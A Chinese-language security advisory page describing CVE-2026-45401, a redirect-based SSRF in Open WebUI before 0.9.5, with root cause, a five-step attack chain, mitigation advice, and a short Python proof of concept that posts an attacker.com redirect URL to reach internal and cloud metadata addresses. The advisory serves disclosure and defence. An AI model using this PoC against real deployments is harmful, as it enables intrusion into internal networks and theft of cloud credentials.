IPBUF安全漏洞报告
English
CVE-2026-45401 CVSS 8.5 高危

CVE-2026-45401 Open WebUI SSRF漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45401
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

SSRFOpen WebUICVE-2026-45401重定向绕过内网渗透

漏洞概述

Open WebUI在0.9.5版本之前存在服务端请求伪造(SSRF)漏洞。由于`validate_url()`函数仅验证初始URL,而下游HTTP客户端在处理3xx重定向时未对跳转目标进行二次校验,导致攻击者可利用该漏洞通过特定接口访问内网敏感资源或元数据服务。

技术细节

漏洞根因在于Open WebUI的URL验证机制与实际HTTP请求行为的不一致。`backend/open_webui/retrieval/web/utils.py`中的`validate_url()`虽然会拦截对私有IP和元数据IP(如169.254.169.254)的直接请求,但它仅检查用户提交的第一层URL。当该URL返回HTTP 30x重定向响应时,下游使用的`requests`、`aiohttp`或`langchain`组件会自动跟随重定向跳转,且不再调用验证逻辑。攻击者只需拥有低权限账户,即可构造一个指向外部可控站点的URL,该站点返回指向`127.0.0.1`或内网IP的302响应。Open WebUI接收到重定向后,会向内网目标发起请求并将响应返回给攻击者,从而绕过防火墙和IP校验,实现SSRF攻击。

攻击链分析

STEP 1
1. 准备恶意重定向服务
攻击者搭建一个HTTP服务,配置特定URL(如/redirect)返回302重定向响应,Location头指向内网敏感地址(如127.0.0.1:80或169.254.169.254)。
STEP 2
2. 提交恶意URL
攻击者使用已认证的低权限账户,向Open WebUI的受影响端点(如/api/v1/retrieval/process/web)提交上述恶意重定向URL。
STEP 3
3. 绕过初始校验
Open WebUI的`validate_url()`函数检查初始URL,发现其为公网地址,验证通过。
STEP 4
4. 触发重定向与请求
后端HTTP客户端(如aiohttp)请求该URL,收到302重定向指令,并自动跟随跳转至内网地址。
STEP 5
5. 获取内网数据
由于未对重定向目标进行二次验证,系统向内网地址发起请求,获取到的敏感响应数据被直接返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit PoC for CVE-2026-45401 # Attacker controls 'http://attacker.com' which returns 302 to http://169.254.169.254 target_url = "http://localhost:8080/api/v1/retrieval/process/web" malicious_url = "http://attacker.com/redirect-to-internal" payload = { "url": malicious_url } # Send request to vulnerable Open WebUI instance response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print("Response Body (Internal Data):") print(response.text)

影响范围

Open WebUI < 0.9.5

防御指南

临时缓解措施
建议立即将Open WebUI升级到0.9.5版本以修复此漏洞。若暂时无法升级,应严格限制应用服务器的网络出站规则(Egress Rules),阻止其对RFC1918内网地址及Link-local地址(如169.254.169.254)的访问,并监控API调用日志中是否存在异常的外部URL请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表